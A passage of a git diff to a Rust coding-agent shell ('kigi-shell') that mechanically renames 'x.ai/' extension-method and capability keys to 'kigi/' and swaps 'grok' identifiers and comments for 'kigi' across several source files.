                 crate::extensions::feedback::handle(self, &args).await
             }
-            "x.ai/recap" => crate::extensions::recap::handle(self, &args).await,
-            "x.ai/rollout/survey" => {
+            "kigi/recap" => crate::extensions::recap::handle(self, &args).await,
+            "kigi/rollout/survey" => {
                 crate::extensions::rollout::handle(self, &args).await
             }
-            "x.ai/prompt_history" => {
+            "kigi/prompt_history" => {
                 crate::extensions::prompt_history::handle(self, &args).await
             }
-            "x.ai/suggest" => crate::extensions::suggest::handle(self, &args).await,
-            "x.ai/suggestPrompt" => crate::extensions::suggest::handle(self, &args).await,
-            s if s.starts_with("x.ai/auth/") => {
+            "kigi/suggest" => crate::extensions::suggest::handle(self, &args).await,
+            "kigi/suggestPrompt" => crate::extensions::suggest::handle(self, &args).await,
+            s if s.starts_with("kigi/auth/") => {
                 crate::extensions::auth::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/session_summaries/") => {
+            s if s.starts_with("kigi/session_summaries/") => {
                 crate::agent::handlers::session::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/git/worktree/") => {
+            s if s.starts_with("kigi/git/worktree/") => {
                 let ops = self.resolve_workspace_ops()?;
                 crate::extensions::worktree::handle(self, &ops, &args).await
             }
-            s if s.starts_with("x.ai/git/") => {
+            s if s.starts_with("kigi/git/") => {
                 let ops = self.resolve_workspace_ops()?;
                 crate::extensions::git::handle(self, &ops, &args).await
             }
-            s if s.starts_with("x.ai/compact_conversation") => {
+            s if s.starts_with("kigi/compact_conversation") => {
                 crate::extensions::memory::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/plugins/") => {
+            s if s.starts_with("kigi/plugins/") => {
                 crate::extensions::plugins::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/hooks/") => {
+            s if s.starts_with("kigi/hooks/") => {
                 crate::extensions::hooks::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/hunk-tracker/") => {
+            s if s.starts_with("kigi/hunk-tracker/") => {
                 let ops = self.resolve_workspace_ops()?;
                 crate::extensions::hunk_tracker::handle(self, &ops, &args).await
             }
-            s if s.starts_with("x.ai/pr/") => {
+            s if s.starts_with("kigi/pr/") => {
                 crate::extensions::pr::handle(self, &args).await
             }
             s if s.starts_with(crate::extensions::mcp::mcp_methods::PREFIX) => {
                 crate::extensions::mcp::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/task/") => {
+            s if s.starts_with("kigi/task/") => {
                 crate::extensions::task::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/scheduler/") => {
+            s if s.starts_with("kigi/scheduler/") => {
                 crate::extensions::task::handle_scheduler(self, &args).await
             }
-            s if s.starts_with("x.ai/subagent/") => {
+            s if s.starts_with("kigi/subagent/") => {
                 crate::extensions::task::handle_subagent(self, &args).await
             }
-            s if s.starts_with("x.ai/terminal/") => {
+            s if s.starts_with("kigi/terminal/") => {
                 crate::extensions::terminal::handle(self, &args).await
             }
             s if crate::extensions::fs::is_fs_method(s) => {
                 crate::extensions::fs::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/search/") => {
+            s if s.starts_with("kigi/search/") => {
                 crate::extensions::search::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/code/") => {
+            s if s.starts_with("kigi/code/") => {
                 let ops = self.resolve_workspace_ops()?;
                 crate::extensions::code_nav::handle(self, &ops, &args).await
             }
-            s if s.starts_with("x.ai/skills/") => {
+            s if s.starts_with("kigi/skills/") => {
                 let compat = self.cfg.borrow().compat_resolved;
                 crate::extensions::skills::handle(
                         &args,
@@ -2163,13 +2163,13 @@ impl acp::Agent for MvpAgent {
                     )
                     .await
             }
-            s if s.starts_with("x.ai/review") => {
+            s if s.starts_with("kigi/review") => {
                 crate::extensions::feedback::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/debug/") => {
+            s if s.starts_with("kigi/debug/") => {
                 crate::extensions::debug::handle(self, &args).await
             }
-            s if s.starts_with("x.ai/rewind") => {
+            s if s.starts_with("kigi/rewind") => {
                 crate::extensions::rewind::handle(self, &args).await
             }
             other => {
@@ -2193,7 +2193,7 @@ impl acp::Agent for MvpAgent {
         args: acp::ExtNotification,
     ) -> Result<(), acp::Error> {
         tracing::info!("Received extension notification: method={}", args.method);
-        if args.method.as_ref() == "x.ai/yolo_mode_changed"
+        if args.method.as_ref() == "kigi/yolo_mode_changed"
             && let Ok(params) = serde_json::from_str::<
                 serde_json::Value,
             >(args.params.get())
@@ -2257,7 +2257,7 @@ impl acp::Agent for MvpAgent {
                 );
             }
         }
-        if args.method.as_ref() == "x.ai/permissions/reset" {
+        if args.method.as_ref() == "kigi/permissions/reset" {
             let sessions = self.sessions.borrow();
             let updated = sessions
                 .values()
@@ -2273,10 +2273,10 @@ impl acp::Agent for MvpAgent {
                 "Permission state reset for matching sessions"
             );
         }
-        if args.method.as_ref() == "x.ai/internal/evict_sessions" {
+        if args.method.as_ref() == "kigi/internal/evict_sessions" {
             self.handle_evict_sessions(&args.params).await;
         }
-        if args.method.as_ref() == "x.ai/toggle_plan_mode"
+        if args.method.as_ref() == "kigi/toggle_plan_mode"
             && let Ok(params) = serde_json::from_str::<
                 serde_json::Value,
             >(args.params.get())
@@ -2317,8 +2317,8 @@ impl acp::Agent for MvpAgent {
             }
         }
         if matches!(
-            args.method.as_ref(), "x.ai/queue/remove" | "x.ai/queue/reorder" |
-            "x.ai/queue/clear" | "x.ai/queue/edit" | "x.ai/queue/interject"
+            args.method.as_ref(), "kigi/queue/remove" | "kigi/queue/reorder" |
+            "kigi/queue/clear" | "kigi/queue/edit" | "kigi/queue/interject"
         )
             && let Ok(params) = serde_json::from_str::<
                 serde_json::Value,
@@ -2358,14 +2358,14 @@ impl acp::Agent for MvpAgent {
                 );
             }
         }
-        if args.method.as_ref() == "x.ai/terminal/pty/input"
+        if args.method.as_ref() == "kigi/terminal/pty/input"
             && let Ok(params) = serde_json::from_str::<
                 serde_json::Value,
             >(args.params.get())
         {
             crate::extensions::terminal::handle_pty_input(&params).await;
         }
-        if args.method.as_ref() == "_x.ai/session/update" {
+        if args.method.as_ref() == "_kigi/session/update" {
             if let Ok(notification) = serde_json::from_str::<
                 SessionNotification,
             >(args.params.get()) {
@@ -2393,7 +2393,7 @@ impl acp::Agent for MvpAgent {
                 tracing::warn!("Failed to parse xAI session notification params");
             }
         }
-        if args.method.as_ref() == "x.ai/telemetry/non_git_decision" {
+        if args.method.as_ref() == "kigi/telemetry/non_git_decision" {
             #[derive(serde::Deserialize)]
             struct NonGitDecisionParams {
                 decision: String,
@@ -2412,7 +2412,7 @@ impl acp::Agent for MvpAgent {
                 tracing::warn!("Failed to parse non_git_decision telemetry params");
             }
         }
-        if args.method.as_ref() == "x.ai/telemetry/multi_agent_followup" {
+        if args.method.as_ref() == "kigi/telemetry/multi_agent_followup" {
             #[derive(serde::Deserialize)]
             struct MultiAgentFollowupParams {
                 preferred_agent_label: char,
@@ -2433,7 +2433,7 @@ impl acp::Agent for MvpAgent {
                 tracing::warn!("Failed to parse multi-agent followup telemetry params");
             }
         }
-        if args.method.as_ref() == "x.ai/telemetry/multi_agent_apply" {
+        if args.method.as_ref() == "kigi/telemetry/multi_agent_apply" {
             #[derive(serde::Deserialize)]
             struct MultiAgentApplyParams {
                 applied_agent_label: char,
@@ -2454,7 +2454,7 @@ impl acp::Agent for MvpAgent {
                 tracing::warn!("Failed to parse multi-agent apply telemetry params");
             }
         }
-        if args.method.as_ref() == "x.ai/telemetry/multi_agent_discard" {
+        if args.method.as_ref() == "kigi/telemetry/multi_agent_discard" {
             #[derive(serde::Deserialize)]
             struct MultiAgentDiscardParams {
                 /// (label, session_id, model_id)
diff --git a/crates/codegen/kigi-shell/src/agent/mvp_agent/agent_ops.rs b/crates/codegen/kigi-shell/src/agent/mvp_agent/agent_ops.rs
index 6db8958..cdeefee 100644
--- a/crates/codegen/kigi-shell/src/agent/mvp_agent/agent_ops.rs
+++ b/crates/codegen/kigi-shell/src/agent/mvp_agent/agent_ops.rs
@@ -108,7 +108,7 @@ impl MvpAgent {
     }
     /// Resolve folder trust and load launch-dir MCP configs after `initialize`
     /// returns. The walks are synchronous and expensive in large monorepos; they
-    /// must not block the ACP response (grok-desktop sends `initialize` immediately).
+    /// must not block the ACP response (kigi-desktop sends `initialize` immediately).
     pub(super) fn spawn_initialize_launch_mcp_setup(&self) {
         let cwd = self.launch_cwd.clone();
         let compat = self.cfg.borrow().compat_resolved;
@@ -151,7 +151,7 @@ impl MvpAgent {
     /// Build the launch-dir plugin registry snapshot on first use.
     ///
     /// Boot-time discovery was deferred past ACP `initialize` (the cwd→git-root
-    /// plus user/marketplace walks stalled grok-desktop's first `initialize`),
+    /// plus user/marketplace walks stalled kigi-desktop's first `initialize`),
     /// leaving `plugin_registry_handle` empty. That shared snapshot still backs
     /// the launch-dir plugin MCP/LSP merges read in `resolve_mcp_servers` and
     /// the session LSP build, so populate it lazily — off the `initialize`
@@ -292,7 +292,7 @@ impl MvpAgent {
     }
     /// Pre-session command availability snapshot.
     ///
-    /// Used by the `x.ai/commands/list` ext method and the
+    /// Used by the `kigi/commands/list` ext method and the
     /// `InitializeResponse._meta` path (`builtin_commands()`), both of
     /// which fire before any session exists. The eventual agent's toolset
     /// is unknown (depends on the model the user picks), so we fail-closed
@@ -346,7 +346,7 @@ impl MvpAgent {
     ///
     /// Deferred past ACP wiring so `initialize` can respond before folder-trust
     /// scans and `WorkspaceHandle::new_minimal` run (same boot stall as plugin
-    /// discovery on grok-desktop Windows).
+    /// discovery on kigi-desktop Windows).
     fn ensure_local_workspace_ops(
         &self,
     ) -> Result<kigi_workspace::WorkspaceOps, acp::Error> {
@@ -404,7 +404,7 @@ impl MvpAgent {
     /// Returns `SessionToken` when EITHER:
     ///   - `auth_manager` currently has a live (non-expired) credential, OR
     ///   - the active auth method is session-based (`cached_token`,
-    ///     `grok.com`, `oidc`) -- even if the in-memory token is currently
+    ///     `kimi-code`, `oidc`) -- even if the in-memory token is currently
     ///     expired or missing.
     ///
     /// Returns `ApiKey` only when the auth method is BYOK (`xai.api_key`) or
@@ -493,7 +493,7 @@ impl MvpAgent {
             let _ = self
                 .gateway
                 .ext_notification(
-                    acp::ExtNotification::new("x.ai/session_notification", params.into()),
+                    acp::ExtNotification::new("kigi/session_notification", params.into()),
                 )
                 .await;
         }
@@ -621,8 +621,8 @@ impl MvpAgent {
     /// Build deploy-service config. The tool talks directly to the deployer service.
     pub(super) fn prepare_app_builder_deployer_config(
         &self,
-    ) -> kigi_tools::implementations::grok_build::deploy_app::AppBuilderDeployerConfig {
-        use kigi_tools::implementations::grok_build::deploy_app::AppBuilderDeployerConfig;
+    ) -> kigi_tools::implementations::kigi::deploy_app::AppBuilderDeployerConfig {
+        use kigi_tools::implementations::kigi::deploy_app::AppBuilderDeployerConfig;
         AppBuilderDeployerConfig::Disabled
     }
     /// Web search config (PRD F5). The Kimi search service exists only on
@@ -677,8 +677,8 @@ impl MvpAgent {
     ///   OAuth sessions (PRD F5) > None (local pipeline only)
     pub(super) fn prepare_web_fetch_config(
         &self,
-    ) -> kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig {
-        use kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig;
+    ) -> kigi_tools::implementations::kigi::web_fetch::WebFetchConfig {
+        use kigi_tools::implementations::kigi::web_fetch::WebFetchConfig;
         let cfg = self.cfg.borrow();
         if cfg.disable_web_search {
             return WebFetchConfig::Disabled;
@@ -816,7 +816,7 @@ impl MvpAgent {
             subagent_event_tx,
             subagent_event_rx: RefCell::new(Some(subagent_event_rx)),
             subagent_coordinator: RefCell::new(subagent_coordinator),
-            monitor_event_buffer: kigi_tools::implementations::grok_build::task::types::MonitorEventBuffer::default(),
+            monitor_event_buffer: kigi_tools::implementations::kigi::task::types::MonitorEventBuffer::default(),
             workspace_ops: RefCell::new(None),
             require_gateway_sessions: Rc::new(
                 RefCell::new(std::collections::HashSet::new()),
@@ -833,7 +833,7 @@ impl MvpAgent {
         instance.auth_manager.configure_refresher();
         instance
     }
-    /// Handle `x.ai/internal/evict_sessions` — the leader server tells us a
+    /// Handle `kigi/internal/evict_sessions` — the leader server tells us a
     /// client disconnected and these sessions lost their IPC owner.
     ///
     /// **This is the no-evict keystone.** A disconnect must
@@ -1082,12 +1082,12 @@ impl MvpAgent {
         }
     }
     /// Cancel a subagent by id, returning a typed outcome that backs the pager's
-    /// `x.ai/subagent/cancel`. Active/pending → cancelled (a finish follows);
+    /// `kigi/subagent/cancel`. Active/pending → cancelled (a finish follows);
     /// already-finished → its terminal status; unknown id → `NotFound`.
     pub fn cancel_subagent(
         &self,
         subagent_id: &str,
-    ) -> kigi_tools::implementations::grok_build::task::types::SubagentCancelOutcome {
+    ) -> kigi_tools::implementations::kigi::task::types::SubagentCancelOutcome {
         self.subagent_coordinator.borrow_mut().cancel_with_outcome(subagent_id)
     }
     /// List running subagent seeds for a given parent session.
@@ -1183,7 +1183,7 @@ impl MvpAgent {
         let sessions = self.sessions.borrow();
         sessions.get(session_id).cloned()
     }
-    /// Get hooks list for a session (for `x.ai/hooks/list` extension).
+    /// Get hooks list for a session (for `kigi/hooks/list` extension).
     pub async fn list_hooks(
         &self,
         session_id: &acp::SessionId,
@@ -1191,7 +1191,7 @@ impl MvpAgent {
         let handle = self.get_session_handle(session_id)?;
         handle.get_hooks_list().await
     }
-    /// Execute a hooks management action (for `x.ai/hooks/action`).
+    /// Execute a hooks management action (for `kigi/hooks/action`).
     pub async fn execute_hooks_action(
         &self,
         session_id: &acp::SessionId,
@@ -1207,7 +1207,7 @@ impl MvpAgent {
         let handle = self.get_session_handle(session_id)?;
         handle.execute_hooks_action(action).await
     }
-    /// Execute a plugins management action (for `x.ai/plugins/action`).
+    /// Execute a plugins management action (for `kigi/plugins/action`).
     pub async fn execute_plugins_action(
         &self,
         session_id: &acp::SessionId,
@@ -1225,7 +1225,7 @@ impl MvpAgent {
         }
         outcome
     }
-    /// Get a snapshot of the shared plugin registry (for `x.ai/plugins/list`).
+    /// Get a snapshot of the shared plugin registry (for `kigi/plugins/list`).
     pub fn plugin_registry_snapshot(
         &self,
     ) -> Option<std::sync::Arc<kigi_agent::plugins::PluginRegistry>> {
@@ -1352,7 +1352,7 @@ impl MvpAgent {
             current_effort,
         )
     }
-    /// Build the `x.ai/sessionConfig` and `x.ai/sessionDetail` `_meta` values
+    /// Build the `kigi/sessionConfig` and `kigi/sessionDetail` `_meta` values
     /// shared by `new_session` and `load_session`, returned as
     /// `(sessionConfig, sessionDetail)`. Keeping both response paths on this one
     /// builder stops them drifting.
@@ -1364,7 +1364,7 @@ impl MvpAgent {
         model_state: &acp::SessionModelState,
     ) -> (serde_json::Value, serde_json::Value) {
         let config_options = self.session_config_options(Some(session_id), model_state);
-        let detail = session_config::GrokSessionDetail::build(
+        let detail = session_config::KigiSessionDetail::build(
             session_id.0.to_string(),
             cwd,
             model_state.current_model_id.0.to_string(),
@@ -1455,13 +1455,13 @@ impl MvpAgent {
         model_agent_type: Option<&str>,
     ) -> kigi_agent::AgentDefinition {
         use kigi_agent::AgentDefinition;
-        let grok_agent_env_set = std::env::var("KIGI_AGENT")
+        let kigi_agent_env_set = std::env::var("KIGI_AGENT")
             .ok()
             .is_some_and(|s| !s.trim().is_empty());
         let config_agent_explicitly_set = agent_config.name.is_some();
         let model_requires_strict_harness = model_agent_type
             .is_some_and(kigi_agent::config::is_strict_harness_agent_type);
-        if !grok_agent_env_set && !config_agent_explicitly_set
+        if !kigi_agent_env_set && !config_agent_explicitly_set
             && model_requires_strict_harness && let Some(required) = model_agent_type
             && let Some(def) = kigi_agent::discovery::by_name_in_cwd(required, cwd)
         {
@@ -1527,8 +1527,8 @@ impl MvpAgent {
         let agent_name = std::env::var("KIGI_AGENT").ok();
         let resolved = match agent_name.as_deref() {
             Some("browser-use") | Some("browser_use") => AgentDefinition::browser_use(),
-            Some("grok-build-concise") | Some("grok_build_concise") => {
-                AgentDefinition::grok_build_concise()
+            Some("kigi-concise") | Some("kigi_concise") => {
+                AgentDefinition::kigi_concise()
             }
             Some(path) if std::path::Path::new(path).is_absolute() => {
                 match AgentDefinition::from_file(path) {
@@ -1538,17 +1538,17 @@ impl MvpAgent {
                             path = path, error = % e,
                             "Failed to load agent definition from file, falling back to default"
                         );
-                        AgentDefinition::grok_build_plan()
+                        AgentDefinition::kigi_plan()
                     }
                 }
             }
             Some(name) => {
                 kigi_agent::discovery::by_name_in_cwd(name, cwd)
-                    .unwrap_or_else(AgentDefinition::grok_build_plan)
+                    .unwrap_or_else(AgentDefinition::kigi_plan)
             }
-            None => AgentDefinition::grok_build_plan(),
+            None => AgentDefinition::kigi_plan(),
         };
-        if !grok_agent_env_set && !config_agent_explicitly_set
+        if !kigi_agent_env_set && !config_agent_explicitly_set
             && model_requires_strict_harness && let Some(required) = model_agent_type
             && resolved.name != required
         {
@@ -1638,7 +1638,7 @@ impl MvpAgent {
             .client_capabilities
             .meta
             .as_ref()
-            .and_then(|m| m.get("x.ai/fs_notify"))
+            .and_then(|m| m.get("kigi/fs_notify"))
             .and_then(|v| {
                 use crate::session::{ClientFsConfig, ClientFsMode};
                 use kigi_fsnotify::FsConfig;
@@ -1712,7 +1712,7 @@ impl MvpAgent {
                 .client_capabilities
                 .meta
                 .as_ref()
-                .and_then(|m| m.get("x.ai/hunkTracker"))
+                .and_then(|m| m.get("kigi/hunkTracker"))
                 .and_then(|v| v.get("mode"))
                 .and_then(|v| v.as_str()),
         );
@@ -1720,14 +1720,14 @@ impl MvpAgent {
             .client_capabilities
             .meta
             .as_ref()
-            .and_then(|m| m.get("x.ai/incrementalBashOutput"))
+            .and_then(|m| m.get("kigi/incrementalBashOutput"))
             .and_then(|v| v.as_bool())
             .unwrap_or(false);
         let no_color = init
             .client_capabilities
             .meta
             .as_ref()
-            .and_then(|m| m.get("x.ai/bashOutputNoColor"))
+            .and_then(|m| m.get("kigi/bashOutputNoColor"))
             .and_then(|v| v.as_bool())
             .unwrap_or(false);
         let hunk_tracking_enabled = hunk_plan.enabled();
@@ -2200,7 +2200,7 @@ impl MvpAgent {
                 .client_capabilities
                 .meta
                 .as_ref()
-                .and_then(|m| m.get("x.ai/gitHeadChanged"))
+                .and_then(|m| m.get("kigi/gitHeadChanged"))
                 .and_then(|v| v.as_bool());
             let fs_watch_caps = crate::session::fs_watch::FsWatchCapabilities::resolve(crate::session::fs_watch::CapabilityInputs {
                 client_notify: fs_notify_config.is_some(),
diff --git a/crates/codegen/kigi-shell/src/agent/mvp_agent/code_nav.rs b/crates/codegen/kigi-shell/src/agent/mvp_agent/code_nav.rs
index b5997b2..8f51a6d 100644
--- a/crates/codegen/kigi-shell/src/agent/mvp_agent/code_nav.rs
+++ b/crates/codegen/kigi-shell/src/agent/mvp_agent/code_nav.rs
@@ -4,13 +4,13 @@
 use super::*;
 
 impl MvpAgent {
-    /// Parse the `x.ai/codeNavigation.enabled` capability from an initialize
+    /// Parse the `kigi/codeNavigation.enabled` capability from an initialize
     /// request.  Returns `false` if the field is absent or not `true`.
     pub(crate) fn parse_code_nav_capability(init: &acp::InitializeRequest) -> bool {
         init.client_capabilities
             .meta
             .as_ref()
-            .and_then(|m| m.get("x.ai/codeNavigation"))
+            .and_then(|m| m.get("kigi/codeNavigation"))
             .and_then(|v| v.get("enabled"))
             .and_then(|v| v.as_bool())
             .unwrap_or(false)
@@ -56,7 +56,7 @@ impl MvpAgent {
         use crate::agent::config::CodebaseIndexingSetting;
 
         // Gate 1: client type
-        if !matches!(client_type, ClientType::GrokWeb) {
+        if !matches!(client_type, ClientType::KigiWeb) {
             tracing::info!(
                 client_type = ?client_type,
                 gate = "client_type",
@@ -71,7 +71,7 @@ impl MvpAgent {
             tracing::info!(
                 gate = "capability",
                 skip_reason = "capability_not_advertised",
-                "code-nav eligibility check: skipping (x.ai/codeNavigation.enabled not advertised)"
+                "code-nav eligibility check: skipping (kigi/codeNavigation.enabled not advertised)"
             );
             return Err(CodeNavEligibility::CapabilityNotAdvertised);
         }
@@ -138,7 +138,7 @@ impl MvpAgent {
             Some(sid) => sid,
             // No session_id: per-client capability cannot be determined without a
             // session.  Reject with SessionRequired rather than fall back to shared
-            // global state.  Callers must provide sessionId for x.ai/code/* requests.
+            // global state.  Callers must provide sessionId for kigi/code/* requests.
             None => return Err(CodeNavEligibility::SessionRequired),
         };
 
diff --git a/crates/codegen/kigi-shell/src/agent/mvp_agent/folder_trust_prompt.rs b/crates/codegen/kigi-shell/src/agent/mvp_agent/folder_trust_prompt.rs
index 21243b3..f8bd31e 100644
--- a/crates/codegen/kigi-shell/src/agent/mvp_agent/folder_trust_prompt.rs
+++ b/crates/codegen/kigi-shell/src/agent/mvp_agent/folder_trust_prompt.rs
@@ -1,10 +1,10 @@
 //! Interactive folder-trust prompt: a dormant agent→GUI-client ACP round-trip
-//! (`x.ai/folder_trust/request`) that asks a GUI client (grok-desktop) to decide
+//! (`kigi/folder_trust/request`) that asks a GUI client (kigi-desktop) to decide
 //! trust for an untrusted-with-configs workspace, then grants + reloads the
 //! now-trusted project servers without a restart.
 //!
 //! DORMANT in production: it only fires when the connected client advertised
-//! `x.ai/folderTrust.interactive` AND the folder-trust feature flag is on AND the
+//! `kigi/folderTrust.interactive` AND the folder-trust feature flag is on AND the
 //! verdict is [`kigi_workspace::folder_trust::TrustOutcome::Prompt`]. No
 //! client advertises the capability until the desktop UI ships — so this is
 //! inert by default even with the feature flag on. The TUI/headless clients never
@@ -29,7 +29,7 @@ use super::*;
 /// the whole connection lifetime.
 const TRUST_PROMPT_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30 * 60);
 
-/// ACP `x.ai/folder_trust/request` payload (agent → GUI client). Serialized as
+/// ACP `kigi/folder_trust/request` payload (agent → GUI client). Serialized as
 /// `camelCase` for the ACP JSON-RPC wire format.
 #[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
 #[serde(rename_all = "camelCase")]
@@ -62,21 +62,21 @@ pub(crate) enum FolderTrustOutcome {
     Reject,
 }
 
-/// ACP `x.ai/folder_trust/request` response (GUI client → agent).
+/// ACP `kigi/folder_trust/request` response (GUI client → agent).
 #[derive(Debug, Clone, serde::Deserialize)]
 pub(crate) struct FolderTrustResponse {
     pub outcome: FolderTrustOutcome,
 }
 
 impl MvpAgent {
-    /// Parse the `x.ai/folderTrust.interactive` capability from an initialize
+    /// Parse the `kigi/folderTrust.interactive` capability from an initialize
     /// request. Returns `false` if absent or not `true`. Mirrors
     /// [`Self::parse_code_nav_capability`].
     pub(crate) fn parse_interactive_trust_capability(init: &acp::InitializeRequest) -> bool {
         init.client_capabilities
             .meta
             .as_ref()
-            .and_then(|m| m.get("x.ai/folderTrust"))
+            .and_then(|m| m.get("kigi/folderTrust"))
             .and_then(|v| v.get("interactive"))
             .and_then(|v| v.as_bool())
             .unwrap_or(false)
@@ -84,7 +84,7 @@ impl MvpAgent {
 
     /// Ask a GUI client to decide trust for `session_id`'s workspace, then grant
     /// + reload on accept. DORMANT no-op unless the client advertised
-    /// `x.ai/folderTrust.interactive` AND [`folder_trust::prompt_warranted`]
+    /// `kigi/folderTrust.interactive` AND [`folder_trust::prompt_warranted`]
     /// (feature on + untrusted + repo configs present).
     ///
     /// Non-blocking: the session was already created with project servers GATED
@@ -181,7 +181,7 @@ impl MvpAgent {
                     return;
                 }
             };
-            let ext_request = acp::ExtRequest::new("x.ai/folder_trust/request", raw_params.into());
+            let ext_request = acp::ExtRequest::new("kigi/folder_trust/request", raw_params.into());
 
             use agent_client_protocol::Client as _;
             let outcome = match tokio::time::timeout(
@@ -374,7 +374,7 @@ mod tests {
     fn parse_interactive_trust_capability_present_and_true() {
         let mut meta = serde_json::Map::new();
         meta.insert(
-            "x.ai/folderTrust".to_string(),
+            "kigi/folderTrust".to_string(),
             serde_json::json!({ "interactive": true }),
         );
         let init = init_with_meta(Some(serde_json::Value::Object(meta)));
@@ -391,7 +391,7 @@ mod tests {
     fn parse_interactive_trust_capability_false_returns_false() {
         let mut meta = serde_json::Map::new();
         meta.insert(
-            "x.ai/folderTrust".to_string(),
+            "kigi/folderTrust".to_string(),
             serde_json::json!({ "interactive": false }),
         );
         let init = init_with_meta(Some(serde_json::Value::Object(meta)));
diff --git a/crates/codegen/kigi-shell/src/agent/mvp_agent/mod.rs b/crates/codegen/kigi-shell/src/agent/mvp_agent/mod.rs
index 9b57509..41e20b8 100644
--- a/crates/codegen/kigi-shell/src/agent/mvp_agent/mod.rs
+++ b/crates/codegen/kigi-shell/src/agent/mvp_agent/mod.rs
@@ -85,7 +85,7 @@ use tokio_util::sync::CancellationToken;
 use kigi_paths::AbsPathBuf;
 use kigi_workspace::session::git::GitDiscoveryResult;
 use kigi_hunk_tracker::HunkTrackerActor;
-/// Hard-error message for legacy Direct hub-bind sessions (`x.ai/cloud_server_id`).
+/// Hard-error message for legacy Direct hub-bind sessions (`kigi/cloud_server_id`).
 pub(crate) const DIRECT_HUB_CLOUD_REMOVED_MSG: &str = "Direct hub cloud removed; use Gateway (envId or existing-workspace attach)";
 /// Reject session `_meta` that still requests Direct hub bind (D8).
 ///
@@ -93,7 +93,7 @@ pub(crate) const DIRECT_HUB_CLOUD_REMOVED_MSG: &str = "Direct hub cloud removed;
 pub(crate) fn reject_direct_hub_cloud_meta(
     session_meta: Option<&acp::Meta>,
 ) -> Result<(), acp::Error> {
-    if session_meta.and_then(|m| m.get("x.ai/cloud_server_id")).is_some() {
+    if session_meta.and_then(|m| m.get("kigi/cloud_server_id")).is_some() {
         return Err(acp::Error::invalid_params().data(DIRECT_HUB_CLOUD_REMOVED_MSG));
     }
     Ok(())
@@ -147,13 +147,13 @@ impl BridgeAttach {
         !matches!(self, Self::NotAttached)
     }
 }
-/// `_meta["x.ai/session"].kind` → [`SessionKind`]; absent/unknown/malformed → `Build`.
+/// `_meta["kigi/session"].kind` → [`SessionKind`]; absent/unknown/malformed → `Build`.
 fn parse_session_kind(
     meta: Option<&acp::Meta>,
 ) -> crate::session::unified_list::SessionKind {
     use crate::session::unified_list::SessionKind;
     use serde::Deserialize;
-    meta.and_then(|m| m.get("x.ai/session"))
+    meta.and_then(|m| m.get("kigi/session"))
         .and_then(|s| s.get("kind"))
         .and_then(|k| SessionKind::deserialize(k).ok())
         .unwrap_or(SessionKind::Build)
@@ -191,7 +191,7 @@ fn chat_new_session_model_state(
 /// `session/new` / `session/load` `_meta` key carrying per-session plugin roots.
 pub(crate) const SESSION_PLUGIN_DIRS_META_KEY: &str = "pluginDirs";
 /// `initialize` response `_meta` key advertising [`SESSION_PLUGIN_DIRS_META_KEY`] support.
-pub(crate) const SESSION_PLUGIN_DIRS_CAPABILITY_KEY: &str = "x.ai/pluginDirs";
+pub(crate) const SESSION_PLUGIN_DIRS_CAPABILITY_KEY: &str = "kigi/pluginDirs";
 /// Per-session plugin roots from `session/new` / `session/load` `_meta.pluginDirs`,
 /// loaded at CliOverride scope (always trusted) into this session's registry only.
 /// Paths must be absolute (the SDKs resolve before sending); anything else is
@@ -271,7 +271,7 @@ fn parse_no_replay(meta: Option<&acp::Meta>) -> bool {
     meta.and_then(|m| m.get("noReplay")).and_then(|v| v.as_bool()).unwrap_or(false)
 }
 /// Insert `key`/`value` into a notification's `_meta`, creating the map if absent.
-/// Used to stamp `x.ai/leaderClientId` onto replay notifications so the leader can
+/// Used to stamp `kigi/leaderClientId` onto replay notifications so the leader can
 /// unicast them to the loading client only (see `forward_raw_replay_line`).
 fn stamp_meta_value(meta: &mut Option<acp::Meta>, key: &str, value: &serde_json::Value) {
     meta.get_or_insert_with(acp::Meta::new).insert(key.to_string(), value.clone());
@@ -284,7 +284,7 @@ fn mark_as_replay(
     let obj = meta.get_or_insert_with(acp::Meta::new);
     obj.insert("isReplay".to_string(), is_replay);
     if let Some(persist) = persist_data {
-        obj.insert("x.ai/persist".to_string(), persist.clone());
+        obj.insert("kigi/persist".to_string(), persist.clone());
     }
 }
 /// Resolve a session's REQUESTED auto flag from `_meta`: an explicit `autoMode`
@@ -393,7 +393,7 @@ pub(crate) fn build_prompt_response_meta(
     };
     serde_json::to_value(meta).expect("PromptResponseMeta is always serializable")
 }
-/// Typed payload for the `x.ai/settings/update` notification sent to pager
+/// Typed payload for the `kigi/settings/update` notification sent to pager
 /// clients after remote settings settings are refreshed on `/new`.
 ///
 /// Keeping this as a `#[derive(Serialize)]` struct gives compile-time
@@ -413,13 +413,13 @@ struct SettingsUpdateNotification {
 /// Reason why a client is not eligible to use codebase indexing.
 ///
 /// Returned by [`MvpAgent::code_nav_eligibility`] when one of the policy
-/// gates fails.  Used in `x.ai/code/status` responses and to generate
+/// gates fails.  Used in `kigi/code/status` responses and to generate
 /// clear error messages on code-nav requests from ineligible clients.
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub enum CodeNavEligibility {
     /// Client type is not web (web-only for initial rollout).
     ClientNotWeb,
-    /// Client did not advertise `x.ai/codeNavigation.enabled`.
+    /// Client did not advertise `kigi/codeNavigation.enabled`.
     CapabilityNotAdvertised,
     /// `codebase_indexing` feature is disabled in config (or excluded by glob).
     DisabledByConfig,
@@ -519,12 +519,12 @@ pub struct MvpAgent {
     /// attribution would require threading `clientIdentifier` from `_meta` through
     /// every session handler, which is deferred to future work.
     client_type: RefCell<ClientType>,
-    /// Whether the current client advertised `x.ai/codeNavigation.enabled`.
+    /// Whether the current client advertised `kigi/codeNavigation.enabled`.
     /// Updated on every `initialize()` call — same last-client-wins semantics
     /// as `client_type`.  Using `Cell<bool>` (not `RefCell`) so `.get()` is a
     /// plain copy with no borrow that could be held across an await point.
     code_nav_enabled: std::cell::Cell<bool>,
-    /// Whether the current client advertised `x.ai/folderTrust.interactive` (it
